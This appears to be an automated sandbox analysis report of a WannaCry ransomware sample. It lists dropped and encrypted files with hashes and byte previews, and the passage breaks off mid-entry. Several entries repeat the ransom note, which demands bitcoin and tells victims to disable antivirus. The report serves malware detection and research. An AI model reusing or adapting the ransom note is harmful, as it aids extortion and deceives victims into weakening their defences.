                                      Preview:WANACRY!......r4..#.(F........B.3ahJ..#4.V...%1m...S.m..\|.......,...% ..7.5.RH...@],...w...f..1....a..._5.)..vh..i"x..A.r ...M.$..TI..q..T..........[..aj.c..k*.....O ...BxuB..?WbF}....O....R.-.vZ.O"....b.SSg'=zbbv.&U.w?[..R...!..cQ..-.>F8Hd!y..%h...I.....I......6.k/.......u{.p..8l..N..M....F.-.lJ.@...`.A..C.I.J..'...Z...D....j..p..}-.._....:.Jp.6...A.w.9....Z...S.g=sT2R.............1T9u.U.....YNh0.:...u.......p.....F...a$.#..W!.9;t`.Q.s...w&.S.1...lf]..K.~.V.&..0.oVV{..I*d...rjL....H2\.P...P+b..O."....?k...B..w..+..[.p5.N.ve..;c|.8........k7C%%.....0go.{.fH.....HF.yr...':..b..o..+eH.....D.@hd \:.@v..0t..........+>.c[S..?.....T.I.=...Ht.1h~XK..va...j..E..Vp.FE<....p.nd...|.q..e.I.6{.c.2..I7.j.Sh.N.ih.,..Zj.r...Jz.J....mt...W......_.3.q=<.nl..\e.).7'..3jv..2..VY....R...y[.].5qc#.m2....&\.[..i>.*...`.....=H..xb@.r...1X.1......a.L...z.7....S..@W.....m.x.C..h..5...e...V_..(#..!S.O4....Ln.w5}.<8+|..H....Wrl.w....vwX@...D"....e..D...(....&.q.>

                                      C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\kernel-1e468708[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):289832
                                      Entropy (8bit):7.999317019224439
                                      Encrypted:true
                                      SSDEEP:6144:VM7x6R2Cz963yZYYUkpps1VOB6aQ2cyJ294bBiMM1n:67xSx5yCpp0VS6dBbR
                                      MD5:A3EFD4642A2EEB8DFC5C6E152D0C298D
                                      SHA1:E38BA7C396B4F36E6B69FE1ABD7E2977A70122E3
                                      SHA-256:083888F9232707E08BB4BDB73169D052A38520C19DB74C2328B42C14E861D684
                                      SHA-512:DBC533A2B93DFD54CFCD25478F9E2DE3AAE52E3B4D4AF29C41CB9147267C4E2D96DC940E57774A9C1B508361D96B431EBD692B68EBC099AF03A7663B6B97C0DD
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....%8.T...@...Oi0..V`.........c.<P8....P%.TB.!b..=.@....M..IT...:p.]|.[3&.XoPu8....9.{..|o.2K@...Z`....j.....B...jlX...2.....z.,.....b.j^.8Rrt.....)..z....Gg...v...<.6.......u$.....v......P.L.g....jR..!..M!.[.d:.A%...he.."....$y....[...a..*l....l.....k.........u..2.k...R]...V$.40.M..p...M.Zq<N...e[.)?...bZ......Z......4...z........Ga9p...NAs.>..g.-.V.2O.0...:.......H+jC..0....w.Ws..yI.N....:.0Yf...p..F...9%.e.us..\..r5q4|.&..5==.Yd>.h..7<?.S.n..2.H.5.0+..2.;..H4y..A....6...{...EZC..D.s4....E.t.......|.....1.....=%...%.B...-..s$K.]..B.n.?\.#iV.0.o..Z\..<..V..F.y...`.f.c...;Du.3...k.n...a....g...Q..L..y.<|...Z..7.&...1.m..T.(.]-FC.kT./.F.B..41...B.:E...x'.+...&.uu..^,...5._.M..B.......)Z.\..m..LnE/..:x....N.p.U....$......V........W..b....DmX..1.......8[...7..#...."..:..s.._H. .z...n...A(g.r..VR.#.....i............H....x..C....".N!..].......j)}....`.98..4.!..5.....H.....-$Z8C.*....bOjgS....|t.V~..@x...=..v%N...f...CM.S5..2&..

                                      C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\mscc-0.4.2.min[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4872
                                      Entropy (8bit):7.969181431996968
                                      Encrypted:false
                                      SSDEEP:96:o44dDAmRSrXlK3JcVp7YfNes1GN8kSci1hnQSqjToUaasI+oyHrDn2zeS0af:3spRSrg3JcVp6UNsqSmT0+yLb2zeS0g
                                      MD5:6DAAA366017CB8B4E7827726EF75F389
                                      SHA1:EF694C536396307CEE308830F93114A2D7E65331
                                      SHA-256:0727D5B5DA3FE2474480E15EBB5BA9155BFB025733F649C6EE65988AC50ED6EA
                                      SHA-512:3ECB2B1B1F1367FB5DE1648A0A2E46C7495572C35557F73681F2D8BFC827F11C6C807815C9CC3E1EC67BFA7ABB0BC6508678D3688F504354F919AD12F0FD3E3E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....N..L/....;.&.....i>D......D...@.Q.z..<.8....Z.}4.....G........#U..2.....,.v;#-.0.F..l.c-.o.....~..=.v.P4..........$.....|\.....S.....^B0v...p'.U.1PE8....t....[Y:.%6.D.....oOW.H<......#.y.n.[.@.....d..m<.d|.T....8.k2'...lk..%I..7..e.@..9......f.............]I..uP!..4...Q.u..M..........U.5.......E.c...=I..H.....$.C4...h..#Gx-.x6U.n....PF...$...w..L.qI...B...S.......i%QU.......;.,.M5?Ue..)v.c]...8...+k.G.h.E0%m....V....!!....n.'p..L.......Pa.Z....cd.4q......K.......c.m..Y..d."..h..Z[Z.~...?d...k..%.@F=,U...0=1.^...nW/M..Q. .aI......}.-C.?.....(..J...~.".t..z.P...+=;+x.....\..z .../...-..e.*....+..q..,.j.$......6..V....?lxm....C.._.".%.F..f....*P.{..>\..1...*zV....<c...`....d....enMJ..`..."._..|:.....h..~.....1m..D..z.Nf.:..n*..m+...B4...B...V.$....-.....H..ugG..y.w..`9.b.DGBO....].......[e.`..u..D.N.Rq......<`}."...v.2....P.-d.>G;RR..wA....#.Y.V..x...d...>.x.Y...e.G"....C.G.K..@..d.}.s .,`..{..*..3......N...S<m.9..>.?.D.|....

                                      C:\Users\user\AppData\Local\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\AppData\Local\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664197001416167.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.99834860257924
                                      Encrypted:true
                                      SSDEEP:3072:Etow3k9oYclXgPhaY30XV2VcfmH4ELBvrWk9:JwU9oYigPgKVnHJvb
                                      MD5:A0F0CBA10EB96EC6B09A8423D205628A
                                      SHA1:905E0C5FFD55272CC906B728BAE38032EB42186E
                                      SHA-256:C3914F670D354431EC0DC60E5269638B6A1D03D069325A1CC6303EEA3C26D7FC
                                      SHA-512:80DEFD20818EF9821C4836F6D1B65FAF65281B2883AC318A624D4DBF790DD10F3FCB0DA09F37C9847A3DEC31283429D334D938736482219AF1553F74B247FF0D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.............`z...].;...]...A..>\.;....esV.*\.....'...4..%..4v...^.U..M.&~.0...h?.....6....3...x.?.>7.c..I7e..6.....|..W..] f'.m.../...8...A)..BsG._Z.'a@...Qs...d.`...^.h..2E6..].9B<[3...*.%(....{...|..d.o.C.2.F.C.x7...P..!....u.....o...P....oN.xe.D....;........F.l(!..0$..^...4....b..J .(P...._%P...S....Y9.8.GX.( .......U.>.=J.6.h.S('_.........p.GN.ct...M0..uB..\..3...gf }q......l.A>w.N21..'.q.G..~.j.....,.N..Z yV...d....x-.c u....3.K.xG0O. ...F.4.z..'.Q..T...z.<.p.o..x.S..6t..../k.h.~!$\Ec....UaN%p.).......#M...T-.....Q.=o...H}.].ga.......j~......m...$..p....8Z*....#..#I........Q.+....^.J....&.o.g......<.O.O....`...uWx.......B...2..A..7k.I.w...r.<..@..Z....a..X.......PI......&AEN`|I2....v../.X..%.K......i..7tyS...B..V.j.x.H.._..gR...Qq^B....==.J....]..N..Y.>U=.m.!W9.......y..J5........B.`?..._"R.|R*.j..sRa.Y......GP..7..S..-...6...(Z..^.,.y.....[).../......j.."..W./K|V.&....*B:.6 z...tv,boyr.a.|..<.....2>...>......R\qG.#..C..n.....M.=..0

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\ActivitiesCache.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999841547620523
                                      Encrypted:true
                                      SSDEEP:24576:LhQleQdvWooa0xnxqMg3CeztwSHbM3WrcRVXoi:N+nhWVvezaCbMFRV4i
                                      MD5:872CB5483AB73DB9A5C36169CBF65613
                                      SHA1:69D34476580BD593FEC22F55163B1849A7997F2C
                                      SHA-256:CBB235547781E05D3AF568CAD086DF5F4C9250EFEBC2267B357D60EAC87BD2E5
                                      SHA-512:D811C19BD30B53D17642656D0D880031E8EFEC24827D5000723EE99BDDFEBE992C5B0E0CC6FAFF07732D927CE8872287043601ADD8FC4956EFE393913E62747B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....E.......#..I_P..M.....z..A,.@..s...z}Q..4'..Z6...>..Y....G.)..q... A.X..5....X.x.}.....3s.>.0AS..Hh)yP4.)......QfC5.m..B.E..[...n....T\....?..Z...8.....3.._...Y9.6\@....v..X..@.N...3+P79T........x.U6'."..I..../s.O...z=.F.7...s."....n....#..k.MsG.............3..F!..l*.H.3.%.....$....b.N...n..'.`Kqp...w~}.A.X.>9..x...1(..>!~T...*.<<.PV._.+..iv.l.%..gZ..A~9Q.;...:.f.(.O.......q..t..ho..%S.5...KS..U.....z.nu9../d;.w.1..W.-I-......9...]....X&."GR.D.!-....6Y...}k...a..._..`..2./..lr.._..T......(<s<......v..9.^...D'...A.-\]...lK.s.'...3...mq|.l]LQ-.O.......@......w...LR...Xo\..?.\vC......!.y.Y\.....;}.......Oc8.xK..7..d.C...$..f.........q....d.....L..i]7....W....vv..~.mC6c.........x.r..@...`..]t.@..\..f.....p.-CS......a..y.~:......F1K.....`....5..W#]SZ...a^....e.2...M..Ts...\4+_.r. (..bA.i...J..H..61.E......z6...f!.=....5.O\T.<..*_.X......'+.Z....UI"..."..Q.&..].z.'.l.g/...W....ZI...)C....*'=....R..v:....r.T..f.5X.s...;......

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\ActivitiesCache.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999838578216438
                                      Encrypted:true
                                      SSDEEP:24576:Yfx/fLWMv/BadMdtrVYQTek5cXAwC8b/SO57DmRtt0:YJ3Kc/BaWdpVYMmAwBL77Mtt0
                                      MD5:C35614FE5ACDB4E6A1C0BF6BEDA79CD7
                                      SHA1:49A264BF58C4A11B07A6601350E871E9F9E3BC3C
                                      SHA-256:0AE94CEA5210A60EDDE855CBB23FBD299CAF2920E194776CF27ACF68A4ACE54F
                                      SHA-512:36B78ADBFB833CBAAB6719713961AC78B76959425FF2FFEC19736169765F72F9F8ED09F2C4B9C40F96CC6CFB5699D8E30A50B1885BBFE64FF38520E38CBCC765
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......n..G..S.....tD..FPZ.D..L#..s.&.,.l.."......mA..jo....#r..9SQ.-..(.*q..5:...t.>r&$<2ha.E..e.a`,|....Ue..P...^...j!X"...>P.;.cHM|N.^..+.(..j".. .[.i...........z.1\qB..'.]..>....f.5.W....U.).1;.W.X.D....\.(.y...hF4.......3..Qc.i<.,...................=8...E..'.~......}.|.[_..SSi...Hd2.%.DX.....}....A..j.l3...7.T.5%.....sb)n......-..a.5...Y.5...-2..f..!.R.7.f@...&..)..m@$5.e.....o.Dt..Mc..w...?`.>=...QD.%wn.N.d...b*.N.....z4.`A...B7B.p7....>(.VsY......|d..N........fV..D...{.r..1,U.S........i..%.!....U........=...}.^>9A..j..C-/..DgY....C4...C.....~.}.^....S..........<t7....L.;.K.o.4Q.e..HU.h.zS.p..M1P.x..+..Dm....`...7.-..X..L...Ya?.'..2`.\n.b.44T...ygn..h..q.?...(..eU.._99.._.F..W......i....Ma5..@.O......:....x.P....K..`..K...Wu.A..]u..DLT.r..!........R....9sv.>...L..aF.;..L.9..h+....pf.....g.?....;.H.\W..).;.!ve.'"....;.=.:..hZ.@......J...a@N.l.cW...68-:.J......rQw..H..~.DpB..i...~D.5......w.6.........+;7B7.... .a.!...X.#06I

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999853693846295
                                      Encrypted:true
                                      SSDEEP:24576:HZq9ZSJf3Vydaj8k7s7TSG8OHy5p3mQ6I+QlGPN5TZq+Q6DBTE9V29:HZgZu3Vbo4JbwCUgGPN5TvN94u9
                                      MD5:9786B59AA6583192618E20FBA2D3E39B
                                      SHA1:A7FECF73281D73B249B940AA1D13D414E1B1AD21
                                      SHA-256:56DCECC92B94ACC1614C692222F5FAB4190E74C95C7F9739B22C2178C4130C41
                                      SHA-512:47BE9DD464FF84B75928AD5C27BCA7FF42C2903EB4AEED5751F28020D9976C2CD169ACC661572BBEE29DCB4318655F7AA51F4BDB8202B760AD7B89ED91F23D95
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....kXlhM.T..p..\......*.....zm.R.....8W....C&\.e.B....Pe.,.eb.z..1......gF...zF.{...-.i..n&...............D0M3#..5T....i1..*k.....l...h.r...v.:.D.....xh...8.D'w.^o.b....6.....}..w.\P...1..U(..O/..1zz....A..Ef..}...o.........{.I....#^n.a.o9a`y.\...............v.....bN..].,........_.{i..gO(*]..<..kl....m....I...A..%......6p.B..(*D._..6MJs......X...s..M.^..*.....,ZiX..8.....9>....L.....a.oH!....*:..8..Oa.N13...s..~.$h..{._.......^...Y..\V...Zt...CN..H9....s)..e>.b.W...1...sq.=^W..x.Ag...98.&=.....4.E.S.O.S..lmG./.'......o`9D......j..s=...`./Zb.......p6 #...~..+.G...e...T....."#.....:<40G.=m;_.PR...N.........j<.}u....m>...Hb..O}|..KR^.NSIH....%O.lq...L..C.{.@X...9..Z.......[....G.j.........*bd....!-{........Cs.X&...Pi...}.'%I.n......;a..j...o...W+..?.x..y....w).#s.A.......#9.&..WU...GP......q.'..f......%.A....z.cxo.>....Yz.....M....b..FN...%....jc...../..(...p..=Ux.A..q.C......J....#.r.......%..s..vb...".C........x.\..fQ*....{A..h

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_128.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
